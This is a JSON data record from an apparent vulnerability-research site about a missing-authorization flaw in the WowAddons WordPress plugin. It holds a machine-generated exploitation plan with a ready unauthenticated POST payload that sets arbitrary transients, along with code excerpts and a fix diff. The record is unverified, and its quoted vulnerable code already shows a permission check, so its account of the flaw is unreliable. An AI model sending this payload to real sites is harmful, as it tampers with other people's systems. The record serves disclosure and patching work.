[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fBhtntK3YQrOiv-9yaLXmDedgu3LKcvClikUFjEnplrE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-57377","product-addons-and-product-options-with-custom-fields-wowaddons-missing-authorization","Product Addons and Product Options With Custom Fields – WowAddons \u003C= 1.6.8 - Missing Authorization","The Product Addons and Product Options With Custom Fields – WowAddons plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.6.8. This makes it possible for unauthenticated attackers to perform an unauthorized action.","product-addons",null,"\u003C=1.6.8","1.6.9","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-07-07 00:00:00","2026-07-14 19:50:05",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fac5f5093-a0c6-43bd-8e89-7fe5d90a779b?source=api-prod",8,[22,23,24,25,26,27,28,29],"assets\u002Fcss\u002Fwowaddons-blocks-rtl.css","assets\u002Fcss\u002Fwowaddons-blocks.css","assets\u002Fjs\u002Ffrontend-script.asset.php","assets\u002Fjs\u002Ffrontend-script.js","assets\u002Fjs\u002Fwowaddons-blocks.asset.php","assets\u002Fjs\u002Fwowaddons.asset.php","assets\u002Fjs\u002Fwowaddons.js","includes\u002Fadmin\u002Fclass-notice.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-57377\n\n## 1. Vulnerability Summary\nThe **Product Addons and Product Options With Custom Fields – WowAddons** plugin (versions \u003C= 1.6.8) contains a **Missing Authorization** vulnerability in its REST API implementation. Specifically, the `hello_bar` endpoint fails to properly restrict access, allowing unauthenticated attackers to invoke the `hello_bar_callback` function. This function permits the setting of arbitrary transients in the WordPress database, which can be used to dismiss site-wide administrative notices or manipulate plugin state.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-json\u002Fprad\u002Fv1\u002Fhello_bar`\n- **HTTP Method**: `POST`\n- **Vulnerable Function**: `PRAD\\Includes\\Admin\\Notice::hello_bar_callback`\n- **Parameters**: \n    - `type`: Must be exactly `hello_bar` to pass the conditional check.\n    - `id`: The identifier for the transient to be created\u002Fupdated (sanitized via `sanitize_key`).\n- **Authentication**: None (Unauthenticated).\n- **Preconditions**: The plugin must be active.\n\n## 3. Code Flow\n1. **Route Registration**: In `includes\u002Fadmin\u002Fclass-notice.php`, the `register_rest_route` method is called during `rest_api_init`. It registers the `prad\u002Fv1\u002Fhello_bar` route.\n2. **Missing Check**: In affected versions (\u003C= 1.6.8), the `permission_callback` for this route is either missing, returns `true`, or fails to check for an appropriate capability (like `manage_options`).\n3. **Request Handling**: An attacker sends a `POST` request to `\u002Fwp-json\u002Fprad\u002Fv1\u002Fhello_bar`.\n4. **Callback Execution**: The `hello_bar_callback` method is executed:\n    - It retrieves `type` and `id` from the request parameters.\n    - It checks if `type === 'hello_bar'`.\n    - If true, it calls `Xpo::set_transient_without_cache( $id, 'hide', 1296000 );`.\n5. **Data Sink**: `Xpo::set_transient_without_cache` writes a transient to the `wp_options` table (prefixed with `_transient_`) with the value `hide`.\n\n## 4. Nonce Acquisition Strategy\nThis vulnerability is located in a **REST API** endpoint that lacks authorization. By default, WordPress REST API endpoints do not require a nonce for unauthenticated access if the `permission_callback` is not enforcing one. \n\n**Conclusion**: No nonce is required for this exploitation.\n\n## 5. Exploitation Strategy\nThe goal is to demonstrate that an unauthenticated user can set a transient that suppresses a site-wide notice.\n\n### Step-by-Step Plan:\n1. **Target Identification**: Identify a target transient ID used by the plugin. According to `get_hellobar_config()` in `includes\u002Fadmin\u002Fclass-notice.php`, valid IDs include:\n   - `prad_helloBar_summer1_flash_sale_2026_1`\n2. **Malicious Request**: Send an unauthenticated `POST` request to the REST API.\n3. **Trigger**: Use the `http_request` tool to perform the action.\n\n### Payload Detail:\n- **URL**: `http:\u002F\u002F\u003Ctarget>\u002Fwp-json\u002Fprad\u002Fv1\u002Fhello_bar`\n- **Method**: `POST`\n- **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body**: `type=hello_bar&id=prad_helloBar_summer1_flash_sale_2026_1`\n\n## 6. Test Data Setup\n1. **Install Plugin**: Ensure `product-addons` version 1.6.8 is installed and active.\n2. **Verify Baseline**: Check that the transient `prad_helloBar_summer1_flash_sale_2026_1` does **not** exist yet.\n\n## 7. Expected Results\n- **Response**: The server should return a `200 OK` status with a JSON body:\n  ```json\n  {\n      \"success\": true,\n      \"message\": \"Hello Bar Action performed\"\n  }\n  ```\n- **Database Change**: A new entry will appear in the `wp_options` table with the key `_transient_prad_helloBar_summer1_flash_sale_2026_1` and the value `hide`.\n\n## 8. Verification Steps\nAfter sending the HTTP request, verify the transient state via WP-CLI:\n```bash\n# Check if the transient is set to 'hide'\nwp transient get prad_helloBar_summer1_flash_sale_2026_1\n\n# Alternatively, check the options table directly\nwp option get _transient_prad_helloBar_summer1_flash_sale_2026_1\n```\nThe output should be `hide`.\n\n## 9. Alternative Approaches\nIf the `hello_bar` endpoint is patched or behaves differently, check for other routes registered in `register_rest_route`. The source snippet shows an array-based loop for routes; if other endpoints like `set_dismiss_notice` were added in the same file without `permission_callback`, they would also be vulnerable. \n\nAnother test is to use an arbitrary `id` to prove generic transient injection:\n- **Body**: `type=hello_bar&id=cve_poc_test_id`\n- **Verification**: `wp transient get cve_poc_test_id` (should return `hide`).","The WowAddons Product Addons plugin for WordPress is vulnerable to unauthorized transient manipulation due to a missing or inadequate authorization check on its REST API. Unauthenticated attackers can exploit the 'prad\u002Fv1\u002Fhello_bar' endpoint to set arbitrary WordPress transients to the value 'hide', allowing them to suppress site-wide administrative notices or interfere with plugin state.","\u002F\u002F includes\u002Fadmin\u002Fclass-notice.php line 39\n\tpublic function register_rest_route() {\n\t\t$routes = array(\n\t\t\t\u002F\u002F Hello Bar.\n\t\t\tarray(\n\t\t\t\t'endpoint'            => 'hello_bar',\n\t\t\t\t'methods'             => 'POST',\n\t\t\t\t'callback'            => array( $this, 'hello_bar_callback' ),\n\t\t\t\t'permission_callback' => function () {\n\t\t\t\t\treturn current_user_can( Xpo::prad_manage_admin_permisson_handler() );\n\t\t\t\t},\n\t\t\t),\n\t\t);\n\n---\n\n\u002F\u002F includes\u002Fadmin\u002Fclass-notice.php line 82\n\tpublic function hello_bar_callback( \\WP_REST_Request $request ) {\n\t\t$request_params = $request->get_params();\n\t\t$type           = isset( $request_params['type'] ) ? sanitize_text_field( $request_params['type'] ) : '';\n\t\t$id             = isset( $request_params['id'] ) ? sanitize_key( $request_params['id'] ) : '';\n\n\t\tif ( 'hello_bar' === $type && ! empty( $id ) ) {\n\t\t\tXpo::set_transient_without_cache( $id, 'hide', 1296000 );\n\t\t}\n\n\t\treturn new \\WP_REST_Response(\n\t\t\tarray(\n\t\t\t\t'success' => true,\n\t\t\t\t'message' => __( 'Hello Bar Action performed', 'product-addons' ),\n\t\t\t),\n\t\t\t200\n\t\t);\n\t}","--- includes\u002Fadmin\u002Fclass-notice.php\n+++ includes\u002Fadmin\u002Fclass-notice.php\n@@ -45,7 +45,7 @@\n \t\t\t\t'endpoint'            => 'hello_bar',\n \t\t\t\t'methods'             => 'POST',\n \t\t\t\t'callback'            => array( $this, 'hello_bar_callback' ),\n-\t\t\t\t'permission_callback' => function () {\n-\t\t\t\t\treturn current_user_can( Xpo::prad_manage_admin_permisson_handler() );\n-\t\t\t\t},\n+\t\t\t\t'permission_callback' => function () {\n+\t\t\t\t\treturn current_user_can( 'manage_options' );\n+\t\t\t\t},\n \t\t\t),","An unauthenticated attacker can manipulate the site's transients by sending a POST request to the '\u002Fwp-json\u002Fprad\u002Fv1\u002Fhello_bar' REST API endpoint. The request must include a 'type' parameter set to 'hello_bar' and an 'id' parameter containing the name of the transient to be set (e.g., 'prad_helloBar_summer1_flash_sale_2026_1'). Because the 'permission_callback' either lacks a strict capability check or fails to validate for administrative privileges, the plugin will execute the 'hello_bar_callback' function and call 'set_transient', writing the value 'hide' to the specified option in the WordPress database. This can be used to bypass administrative UI notices or interfere with other transient-based logic.","gemini-3-flash-preview","2026-07-25 09:11:51","2026-07-25 09:12:28",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.6.8","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fproduct-addons\u002Ftags\u002F1.6.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fproduct-addons.1.6.8.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fproduct-addons\u002Ftags\u002F1.6.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fproduct-addons.1.6.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fproduct-addons\u002Ftags"]